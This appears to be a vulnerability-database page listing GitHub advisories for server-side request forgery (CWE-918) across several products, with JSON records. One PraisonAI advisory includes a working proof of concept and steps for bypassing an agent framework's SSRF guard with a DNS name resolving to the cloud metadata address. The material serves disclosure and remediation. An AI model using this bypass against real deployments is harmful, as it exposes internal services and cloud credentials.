CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4614 vulnerabilities reference this CWE, most recent first.
GHSA-VX95-HHR8-MP6R
Vulnerability from github – Published: 2026-03-11 03:31 – Updated: 2026-03-11 03:31Adobe Commerce versions 2.4.9-alpha3, 2.4.8-p3, 2.4.7-p8, 2.4.6-p13, 2.4.5-p15, 2.4.4-p16 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. A high-privileged attacker could exploit this vulnerability to manipulate server-side requests and bypass security controls. Exploitation of this issue does not require user interaction.
{
"affected": [],
"aliases": [
"CVE-2026-21294"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T03:15:54Z",
"severity": "MODERATE"
},
"details": "Adobe Commerce versions 2.4.9-alpha3, 2.4.8-p3, 2.4.7-p8, 2.4.6-p13, 2.4.5-p15, 2.4.4-p16 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. A high-privileged attacker could exploit this vulnerability to manipulate server-side requests and bypass security controls. Exploitation of this issue does not require user interaction.",
"id": "GHSA-vx95-hhr8-mp6r",
"modified": "2026-03-11T03:31:27Z",
"published": "2026-03-11T03:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21294"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb26-05.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VX9G-377X-XWXQ
Vulnerability from github – Published: 2022-04-26 00:00 – Updated: 2022-06-01 22:20Gibbon v3.4.3 and below allows attackers to execute a Server-Side Request Forgery (SSRF) via a crafted URL. This issue has been resolved in version 3.4.4
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "gibbon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-27311"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-27T18:48:09Z",
"nvd_published_at": "2022-04-25T13:15:00Z",
"severity": "CRITICAL"
},
"details": "Gibbon v3.4.3 and below allows attackers to execute a Server-Side Request Forgery (SSRF) via a crafted URL. This issue has been resolved in version 3.4.4",
"id": "GHSA-vx9g-377x-xwxq",
"modified": "2022-06-01T22:20:04Z",
"published": "2022-04-26T00:00:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27311"
},
{
"type": "WEB",
"url": "https://github.com/amro/gibbon/pull/321"
},
{
"type": "WEB",
"url": "https://github.com/amro/gibbon/pull/321#issuecomment-1113147155"
},
{
"type": "WEB",
"url": "https://github.com/amro/gibbon/commit/b2eb99ed304d7491a6d348a5bbdc83a008fc6e0b"
},
{
"type": "WEB",
"url": "https://github.com/amro/gibbon/commit/cade20ca2438cd1b182dad70cbb77fb895779d10"
},
{
"type": "PACKAGE",
"url": "https://github.com/amro/gibbon"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/gibbon/CVE-2022-27311.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Server side request forgery in gibbon"
}
GHSA-VXG2-HHGR-37FX
Vulnerability from github – Published: 2026-04-03 06:31 – Updated: 2026-04-04 06:53An issue was discovered in Roundcube Webmail 1.6.0 before 1.6.14. Insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to SSRF or Information Disclosure, e.g., if stylesheet links point to local network hosts.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "roundcube/roundcubemail"
},
"ranges": [
{
"events": [
{
"introduced": "1.7-beta"
},
{
"fixed": "1.7-rc5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35540"
],
"database_specific": {
"cwe_ids": [
"CWE-669",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:53:55Z",
"nvd_published_at": "2026-04-03T05:16:22Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Roundcube Webmail 1.6.0 before 1.6.14. Insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to SSRF or Information Disclosure, e.g., if stylesheet links point to local network hosts.",
"id": "GHSA-vxg2-hhgr-37fx",
"modified": "2026-04-04T06:53:55Z",
"published": "2026-04-03T06:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35540"
},
{
"type": "WEB",
"url": "https://github.com/roundcube/roundcubemail/commit/27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870"
},
{
"type": "WEB",
"url": "https://github.com/roundcube/roundcubemail/commit/579b68eff90650a5c782e153debd66c765648942"
},
{
"type": "PACKAGE",
"url": "https://github.com/roundcube/roundcubemail"
},
{
"type": "WEB",
"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.14"
},
{
"type": "WEB",
"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5"
},
{
"type": "WEB",
"url": "https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Roundcube Webmail: Insufficient CSS sanitization in HTML e-mail messages"
}
GHSA-VXGJ-XG5C-P4H7
Vulnerability from github – Published: 2026-06-18 13:56 – Updated: 2026-06-18 13:56praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS
Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI Weakness: CWE-918 Server-Side Request Forgery (SSRF).
Summary
The SSRF guard shared by PraisonAI's web tools (SpiderTools._validate_url → _host_is_blocked in praisonaiagents/tools/spider_tools.py) inspects only literal IP-address encodings of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient — no DNS-rebinding race is required.
The guard's own docstring claims it returns True "when hostname resolves to loopback/private/internal targets," but no resolution is performed. The fix for CVE-2026-47390 added more encodings of literal IPs (decimal integer, 0x hex, inet_aton); it did not address the class "host is a name that resolves to a forbidden address."
The same guard is reached through two tool surfaces:
- scrape_page / crawl / extract_links / extract_text (spider tools)
- the @url mention fetch in praisonaiagents/tools/mentions.py (which calls the identical SpiderTools._validate_url then urllib.request.urlopen)
The correct pattern already exists in the same package: file_tools.py resolves the host with socket.getaddrinfo and checks each resolved address before fetching. spider_tools / mentions do not.
Affected packages
pip/praisonaiagents<= 1.6.39pip/PraisonAI<= 4.6.39
Root cause
praisonaiagents/tools/spider_tools.py, _host_is_blocked (def at line 26):
def _host_is_blocked(hostname: str) -> bool:
"""Return True when hostname resolves to loopback/private/internal targets."""
...
if host.isdigit(): # decimal-int IPv4 literal
return _ip_blocked(ipaddress.ip_address(int(host)))
if host.startswith("0x"): # hex IPv4 literal
return _ip_blocked(ipaddress.ip_address(int(host, 16)))
try:
return _ip_blocked(ipaddress.ip_address(host)) # dotted v4 / v6 literal
except ValueError:
pass
try:
return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host))) # octal/short v4
except OSError:
pass
return False # <-- any DNS name lands here
Every branch operates on the literal string. For a DNS name (attacker.example): it is not in the literal block sets, not a .local/.internal suffix, int(host) is not applicable, ipaddress.ip_address(name) raises ValueError (swallowed), inet_aton(name) raises OSError (swallowed), and the function returns False — "not blocked." socket.getaddrinfo / gethostbyname are never called anywhere in this path.
_validate_url (def line 74) ends with:
if _host_is_blocked(parsed.hostname):
return False
return True
so a name verdict of "not blocked" yields _validate_url(...) == True, and the caller (scrape_page, or mentions._fetch_url at lines 273–284) proceeds to fetch the original URL via requests / urllib.request.urlopen.
The literal-IP coverage is otherwise good — Python's ipaddress.is_reserved / is_private happen to flag NAT64 (64:ff9b::/96), 6to4 (2002::/16), IPv4-mapped (::ffff:), and IPv4-compatible (::/96) forms. The single residual literal gap is deprecated site-local fec0::/10 (is_private and is_reserved both False), which is low-impact on modern stacks. The DNS-name class is the material issue.
The promise that was broken
The block set explicitly contains "169.254.169.254" and "metadata.google.internal" (line 33) — documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register metadata-thief.example with an A record of 169.254.169.254, and the literal block is never consulted because resolution never happens.
Proof of concept
import socket
from praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools
# Literal forms the CVE-2026-47390 fix added — correctly blocked:
for h in ["127.0.0.1", "2130706433", "0x7f000001", "169.254.169.254", "::1"]:
assert _host_is_blocked(h) is True, h
# DNS names that resolve to internal targets — NOT blocked (the class the fix missed):
for h in ["attacker-controlled.example", "metadata-thief.com", "rebind.attacker.net"]:
assert _host_is_blocked(h) is False, h # A record may be 127.0.0.1 / 169.254.169.254
st = SpiderTools
assert st._validate_url("http://127.0.0.1/") is False # literal blocked
assert st._validate_url("http://metadata-thief.com/") is True # name passes -> request fires
# The guard never even attempts resolution:
import praisonaiagents.tools.spider_tools as S
S.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError("RESOLVER CALLED"))
assert _host_is_blocked("attacker.example") is False # no RuntimeError -> never resolved
print("[+] CONFIRMED: SSRF guard ignores DNS resolution; name->internal bypasses validation")
End-to-end against a deployed agent: point any controlled domain's A record at 169.254.169.254 (or 127.0.0.1, or an RFC1918 service), then drive an agent that has scrape_page/crawl enabled, or include the URL as an @url mention. The fetch reaches the internal/metadata target and its response is returned into model context.
Remediation
Resolve the host and apply the existing _ip_blocked check to every resolved address before fetching — the pattern already implemented in praisonaiagents/tools/file_tools.py (lines 339–344):
resolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == "https" else 80))
for family, _, _, _, sockaddr in resolved:
if _ip_blocked(ipaddress.ip_address(sockaddr[0])):
return True # blocked
To also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both _validate_url and mentions._fetch_url. Additionally add fec0::/10 to the IPv6 rejection set for completeness.
Steps to reproduce
- Clone the target:
git clone --depth 1 https://github.com/MervinPraison/PraisonAI - Run the proof of concept shown above against the cloned source.
- Observe the result shown under Verified result below.
Verified result
This PoC was executed against the live upstream code; captured output:
== Literal internal/loopback encodings — correctly BLOCKED ==
127.0.0.1 blocked=True
2130706433 blocked=True
0x7f000001 blocked=True
169.254.169.254 blocked=True
::1 blocked=True
localhost blocked=True
10.0.0.5 blocked=True
== DNS names whose A-record could point internal — NOT blocked (the gap) ==
attacker-controlled.example blocked=False
metadata-thief.com blocked=False
rebind.attacker.net blocked=False
== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==
_host_is_blocked('metadata-thief.com') = False (no RuntimeError -> DNS never resolved)
== _validate_url verdict (replicating the method's host check on the real func) ==
http://127.0.0.1/ -> validate=False (blocked)
http://metadata-thief.com/ -> validate=True (PASSES -> request fires)
[+] CONFIRMED: name->internal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.
Credit
Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.48"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:56:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n**Weakness:** CWE-918 Server-Side Request Forgery (SSRF).\n\n---\n\n## Summary\n\nThe SSRF guard shared by PraisonAI\u0027s web tools (`SpiderTools._validate_url` \u2192 `_host_is_blocked` in `praisonaiagents/tools/spider_tools.py`) inspects only **literal IP-address encodings** of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient \u2014 no DNS-rebinding race is required.\n\nThe guard\u0027s own docstring claims it returns `True` \"when hostname **resolves to** loopback/private/internal targets,\" but no resolution is performed. The fix for CVE-2026-47390 added more *encodings of literal IPs* (decimal integer, `0x` hex, `inet_aton`); it did not address the *class* \"host is a name that resolves to a forbidden address.\"\n\nThe same guard is reached through two tool surfaces:\n- `scrape_page` / `crawl` / `extract_links` / `extract_text` (spider tools)\n- the `@url` mention fetch in `praisonaiagents/tools/mentions.py` (which calls the identical `SpiderTools._validate_url` then `urllib.request.urlopen`)\n\nThe correct pattern already exists in the same package: `file_tools.py` resolves the host with `socket.getaddrinfo` and checks each resolved address before fetching. `spider_tools` / `mentions` do not.\n\n## Affected packages\n\n- `pip/praisonaiagents` \u003c= 1.6.39\n- `pip/PraisonAI` \u003c= 4.6.39\n\n## Root cause\n\n`praisonaiagents/tools/spider_tools.py`, `_host_is_blocked` (def at line 26):\n\n```python\ndef _host_is_blocked(hostname: str) -\u003e bool:\n \"\"\"Return True when hostname resolves to loopback/private/internal targets.\"\"\"\n ...\n if host.isdigit(): # decimal-int IPv4 literal\n return _ip_blocked(ipaddress.ip_address(int(host)))\n if host.startswith(\"0x\"): # hex IPv4 literal\n return _ip_blocked(ipaddress.ip_address(int(host, 16)))\n try:\n return _ip_blocked(ipaddress.ip_address(host)) # dotted v4 / v6 literal\n except ValueError:\n pass\n try:\n return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host))) # octal/short v4\n except OSError:\n pass\n return False # \u003c-- any DNS name lands here\n```\n\nEvery branch operates on the **literal string**. For a DNS name (`attacker.example`): it is not in the literal block sets, not a `.local`/`.internal` suffix, `int(host)` is not applicable, `ipaddress.ip_address(name)` raises `ValueError` (swallowed), `inet_aton(name)` raises `OSError` (swallowed), and the function returns `False` \u2014 \"not blocked.\" `socket.getaddrinfo` / `gethostbyname` are never called anywhere in this path.\n\n`_validate_url` (def line 74) ends with:\n\n```python\n if _host_is_blocked(parsed.hostname):\n return False\n return True\n```\n\nso a name verdict of \"not blocked\" yields `_validate_url(...) == True`, and the caller (`scrape_page`, or `mentions._fetch_url` at lines 273\u2013284) proceeds to fetch the original URL via `requests` / `urllib.request.urlopen`.\n\nThe literal-IP coverage is otherwise good \u2014 Python\u0027s `ipaddress.is_reserved` / `is_private` happen to flag NAT64 (`64:ff9b::/96`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:`), and IPv4-compatible (`::/96`) forms. The single residual literal gap is deprecated site-local `fec0::/10` (`is_private` and `is_reserved` both `False`), which is low-impact on modern stacks. The DNS-name class is the material issue.\n\n### The promise that was broken\n\nThe block set explicitly contains `\"169.254.169.254\"` and `\"metadata.google.internal\"` (line 33) \u2014 documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register `metadata-thief.example` with an A record of `169.254.169.254`, and the literal block is never consulted because resolution never happens.\n\n## Proof of concept\n\n```python\nimport socket\nfrom praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools\n\n# Literal forms the CVE-2026-47390 fix added \u2014 correctly blocked:\nfor h in [\"127.0.0.1\", \"2130706433\", \"0x7f000001\", \"169.254.169.254\", \"::1\"]:\n assert _host_is_blocked(h) is True, h\n\n# DNS names that resolve to internal targets \u2014 NOT blocked (the class the fix missed):\nfor h in [\"attacker-controlled.example\", \"metadata-thief.com\", \"rebind.attacker.net\"]:\n assert _host_is_blocked(h) is False, h # A record may be 127.0.0.1 / 169.254.169.254\n\nst = SpiderTools\nassert st._validate_url(\"http://127.0.0.1/\") is False # literal blocked\nassert st._validate_url(\"http://metadata-thief.com/\") is True # name passes -\u003e request fires\n\n# The guard never even attempts resolution:\nimport praisonaiagents.tools.spider_tools as S\nS.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError(\"RESOLVER CALLED\"))\nassert _host_is_blocked(\"attacker.example\") is False # no RuntimeError -\u003e never resolved\n\nprint(\"[+] CONFIRMED: SSRF guard ignores DNS resolution; name-\u003einternal bypasses validation\")\n```\n\nEnd-to-end against a deployed agent: point any controlled domain\u0027s A record at `169.254.169.254` (or `127.0.0.1`, or an RFC1918 service), then drive an agent that has `scrape_page`/`crawl` enabled, or include the URL as an `@url` mention. The fetch reaches the internal/metadata target and its response is returned into model context.\n\n## Remediation\n\nResolve the host and apply the existing `_ip_blocked` check to **every** resolved address before fetching \u2014 the pattern already implemented in `praisonaiagents/tools/file_tools.py` (lines 339\u2013344):\n\n```python\nresolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == \"https\" else 80))\nfor family, _, _, _, sockaddr in resolved:\n if _ip_blocked(ipaddress.ip_address(sockaddr[0])):\n return True # blocked\n```\n\nTo also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both `_validate_url` and `mentions._fetch_url`. Additionally add `fec0::/10` to the IPv6 rejection set for completeness.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept shown above against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n== Literal internal/loopback encodings \u2014 correctly BLOCKED ==\n 127.0.0.1 blocked=True\n 2130706433 blocked=True\n 0x7f000001 blocked=True\n 169.254.169.254 blocked=True\n ::1 blocked=True\n localhost blocked=True\n 10.0.0.5 blocked=True\n\n== DNS names whose A-record could point internal \u2014 NOT blocked (the gap) ==\n attacker-controlled.example blocked=False\n metadata-thief.com blocked=False\n rebind.attacker.net blocked=False\n\n== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==\n _host_is_blocked(\u0027metadata-thief.com\u0027) = False (no RuntimeError -\u003e DNS never resolved)\n\n== _validate_url verdict (replicating the method\u0027s host check on the real func) ==\n http://127.0.0.1/ -\u003e validate=False (blocked)\n http://metadata-thief.com/ -\u003e validate=True (PASSES -\u003e request fires)\n\n[+] CONFIRMED: name-\u003einternal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
"id": "GHSA-vxgj-xg5c-p4h7",
"modified": "2026-06-18T13:56:47Z",
"published": "2026-06-18T13:56:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vxgj-xg5c-p4h7"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS"
}
GHSA-VXGM-5RMG-5W8G
Vulnerability from github – Published: 2026-06-16 19:22 – Updated: 2026-06-16 19:22Commit: 86fbb0f7a8 — security: Validate redirects against security.http.urls
Affected versions: v0.91.0 (when security.http.urls was introduced) through v0.161.1.
Fixed in: v0.162.0.
Severity: Only relevant for sites that rely on security.http.urls as a trust boundary — e.g. CI builds that fetch remote resources but want to constrain which hosts can be reached. Not an issue if you fully trust every URL passed to resources.GetRemote.
Description. resources.GetRemote enforces security.http.urls on the URL it is called with, but until v0.162.0 it did not re-validate intermediate URLs on HTTP 3xx redirects. An allowed server (or an attacker controlling its DNS or response) could therefore redirect the request to a host that the policy was meant to forbid — for example, http://localhost/ or an internal IP — and Hugo would fetch from the redirected target. The same bypass also lifted any host-shape restriction the operator had put in place.
Mitigation. v0.162.0 installs a CheckRedirect on the HTTP client used by resources.GetRemote that re-runs security.http.urls on every redirect target and caps the redirect chain at 10 hops. No configuration change is required.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gohugoio/hugo"
},
"ranges": [
{
"events": [
{
"introduced": "0.91.0"
},
{
"fixed": "0.162.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50134"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T19:22:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Commit:** [86fbb0f7a8](https://github.com/gohugoio/hugo/commit/86fbb0f7a8) \u2014 _security: Validate redirects against security.http.urls_\n**Affected versions:** v0.91.0 (when `security.http.urls` was introduced) through v0.161.1.\n**Fixed in:** v0.162.0.\n**Severity:** Only relevant for sites that rely on `security.http.urls` as a trust boundary \u2014 e.g. CI builds that fetch remote resources but want to constrain which hosts can be reached. Not an issue if you fully trust every URL passed to `resources.GetRemote`.\n\n**Description.** `resources.GetRemote` enforces `security.http.urls` on the URL it is called with, but until v0.162.0 it did not re-validate intermediate URLs on HTTP 3xx redirects. An allowed server (or an attacker controlling its DNS or response) could therefore redirect the request to a host that the policy was meant to forbid \u2014 for example, `http://localhost/` or an internal IP \u2014 and Hugo would fetch from the redirected target. The same bypass also lifted any host-shape restriction the operator had put in place.\n\n**Mitigation.** v0.162.0 installs a `CheckRedirect` on the HTTP client used by `resources.GetRemote` that re-runs `security.http.urls` on every redirect target and caps the redirect chain at 10 hops. No configuration change is required.",
"id": "GHSA-vxgm-5rmg-5w8g",
"modified": "2026-06-16T19:22:37Z",
"published": "2026-06-16T19:22:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gohugoio/hugo/security/advisories/GHSA-vxgm-5rmg-5w8g"
},
{
"type": "WEB",
"url": "https://github.com/gohugoio/hugo/commit/86fbb0f7a8bbb93e2e916390de9e5a4f24bf9f50"
},
{
"type": "PACKAGE",
"url": "https://github.com/gohugoio/hugo"
},
{
"type": "WEB",
"url": "https://github.com/gohugoio/hugo/releases/tag/v0.162.0"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Hugo: security.http.urls allow-list bypass via HTTP redirects"
}
GHSA-VXQQ-2372-8QPX
Vulnerability from github – Published: 2025-04-08 06:30 – Updated: 2025-04-08 06:30A vulnerability, which was classified as critical, has been found in mymagicpower AIAS 20250308. This issue affects some unknown processing of the file 3_api_platform/api-platform/src/main/java/top/aias/platform/controller/AsrController.java. The manipulation of the argument url leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-3411"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T05:15:40Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in mymagicpower AIAS 20250308. This issue affects some unknown processing of the file 3_api_platform/api-platform/src/main/java/top/aias/platform/controller/AsrController.java. The manipulation of the argument url leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-vxqq-2372-8qpx",
"modified": "2025-04-08T06:30:41Z",
"published": "2025-04-08T06:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3411"
},
{
"type": "WEB",
"url": "https://github.com/Tr0e/CVE_Hunter/blob/main/AIAS/AIAS_SSRF1.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.303689"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.303689"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.544288"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VXX8-4P2V-5G5J
Vulnerability from github – Published: 2026-05-02 06:30 – Updated: 2026-05-02 06:30A vulnerability was determined in JeecgBoot up to 3.9.1. Affected by this issue is the function checkPathTraversalBatch of the file FileDownloadUtils.jav of the component LoadFile Endpoint. This manipulation of the argument files causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The affected component should be upgraded. The vendor confirmed the issue and will provide a fix in the upcoming release.
{
"affected": [],
"aliases": [
"CVE-2026-7603"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-02T05:16:01Z",
"severity": "LOW"
},
"details": "A vulnerability was determined in JeecgBoot up to 3.9.1. Affected by this issue is the function checkPathTraversalBatch of the file FileDownloadUtils.jav of the component LoadFile Endpoint. This manipulation of the argument files causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The affected component should be upgraded. The vendor confirmed the issue and will provide a fix in the upcoming release.",
"id": "GHSA-vxx8-4p2v-5g5j",
"modified": "2026-05-02T06:30:24Z",
"published": "2026-05-02T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7603"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot/issues/9553"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot/issues/9553#issuecomment-4251745014"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/805707"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360560"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360560/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W233-JW66-J356
Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2025-09-22 21:30A flaw has been found in Harness 3.3.0. This impacts the function LookupRepo of the file app/api/controller/gitspace/lookup_repo.go. Executing manipulation of the argument url can lead to server-side request forgery. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-10760"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-21T03:15:34Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in Harness 3.3.0. This impacts the function LookupRepo of the file app/api/controller/gitspace/lookup_repo.go. Executing manipulation of the argument url can lead to server-side request forgery. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-w233-jw66-j356",
"modified": "2025-09-22T21:30:19Z",
"published": "2025-09-22T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10760"
},
{
"type": "WEB",
"url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb019.md"
},
{
"type": "WEB",
"url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb019.md#poc"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.325115"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.325115"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.646843"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W28G-RM5J-24W5
Vulnerability from github – Published: 2025-07-28 15:31 – Updated: 2025-11-03 21:34A server-side request forgery vulnerability exists in the cecho.php functionality of MedDream PACS Premium 7.3.5.860. A specially crafted HTTP request can lead to SSRF. An attacker can make an unauthenticated HTTP request to trigger this vulnerability.
{
"affected": [],
"aliases": [
